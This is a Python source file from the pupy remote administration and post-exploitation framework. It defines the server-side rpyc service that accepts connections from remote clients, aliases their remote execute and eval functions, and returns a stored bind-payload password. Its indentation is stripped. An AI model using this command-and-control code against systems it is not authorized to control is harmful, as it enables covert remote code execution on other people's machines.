mirror of https://github.com/n1nj4sec/pupy.git
111 lines
4.6 KiB
Python
111 lines
4.6 KiB
Python
# -*- coding: utf-8-*-
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# --------------------------------------------------------------
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# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
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# All rights reserved.
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#
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# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
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#
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# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
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#
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# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
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#
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# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
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#
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# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
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# --------------------------------------------------------------
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import rpyc.core.service
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import rpyc
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import threading
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import sys
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import ssl
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import logging
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import traceback
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import json
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import zlib
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from pupylib.PupyCredentials import Credentials
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class PupyService(rpyc.Service):
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def __init__(self, *args, **kwargs):
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super(PupyService, self).__init__(*args, **kwargs)
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self._local_cleanups = []
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self._singles = {}
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def on_connect(self):
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try:
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# code that runs when a connection is created
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# (to init the serivce, if needed)
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self._conn._config.update(dict(
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allow_safe_attrs = True,
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allow_public_attrs = False,
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allow_pickle = False,
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allow_getattr = True,
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allow_setattr = False,
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allow_delattr = False,
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import_custom_exceptions = False,
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instantiate_custom_exceptions = False,
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instantiate_oldstyle_exceptions = False,
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))
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#self._conn._config["safe_attrs"].add("__iter__")
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#self._conn._config["safe_attrs"].add("readline")
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self.modules=None
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#some aliases :
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try:
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self.namespace=self._conn.root.namespace
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except Exception:
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if logging.getLogger().getEffectiveLevel()==logging.DEBUG:
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raise
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else:
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return
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self.execute=self._conn.root.execute
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self.register_remote_cleanup=self._conn.root.register_cleanup
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self.unregister_remote_cleanup=self._conn.root.unregister_cleanup
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self.exit=self._conn.root.exit
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self.eval=self._conn.root.eval
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self.get_infos=self._conn.root.get_infos
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self.builtin=self.modules.__builtin__
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self.builtins=self.modules.__builtin__
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self.exposed_stdin=sys.stdin
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self.exposed_stdout=sys.stdout
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self.exposed_stderr=sys.stderr
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self.pupy_srv.add_client(self)
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except Exception as e:
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logging.error(traceback.format_exc())
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def register_local_cleanup(self, cleanup):
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self._local_cleanups.append(cleanup)
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def unregister_local_cleanup(self, cleanup):
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self._local_cleanups.remove(cleanup)
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def single(self, ctype, *args, **kwargs):
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single = self._singles.get(ctype)
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if not single:
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single = ctype(*args, **kwargs)
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self._singles[ctype] = single
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return single
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def on_disconnect(self):
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self.pupy_srv.remove_client(self)
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for cleanup in self._local_cleanups:
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cleanup()
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def exposed_set_modules(self, modules):
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self.modules=modules
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def exposed_json_dumps(self, js, compressed=False):
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data = json.dumps(js)
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if compressed:
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data = zlib.compress(data)
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return data
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class PupyBindService(PupyService):
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def exposed_get_password(self):
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credentials = Credentials()
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return credentials['BIND_PAYLOADS_PASSWORD']
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